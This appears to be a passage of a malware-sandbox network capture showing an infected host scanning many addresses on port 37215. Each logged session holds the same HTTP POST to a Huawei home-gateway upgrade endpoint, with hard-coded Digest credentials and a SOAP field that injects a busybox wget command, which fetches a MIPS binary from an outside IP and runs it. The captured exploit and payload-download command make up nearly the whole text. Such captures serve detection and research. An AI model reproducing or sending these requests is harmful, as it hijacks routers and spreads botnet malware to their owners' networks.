76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
713	192.168.2.13	55308	41.184.163.172	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.679363966 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
714	192.168.2.13	39902	41.164.87.115	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.680397987 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
715	192.168.2.13	35328	41.9.208.117	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.681566954 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
716	192.168.2.13	53394	156.208.52.212	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.682610989 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
717	192.168.2.13	59854	156.19.238.181	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.683936119 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
718	192.168.2.13	51404	41.164.51.0	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.685060978 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
719	192.168.2.13	42686	156.141.138.41	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.686166048 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
720	192.168.2.13	56152	156.149.203.68	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.687592030 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
721	192.168.2.13	42320	197.58.68.31	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.688715935 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
722	192.168.2.13	55340	197.81.221.6	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.689784050 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
723	192.168.2.13	53244	156.140.104.46	37215

Timestamp	Bytes transferred	Direction	Data
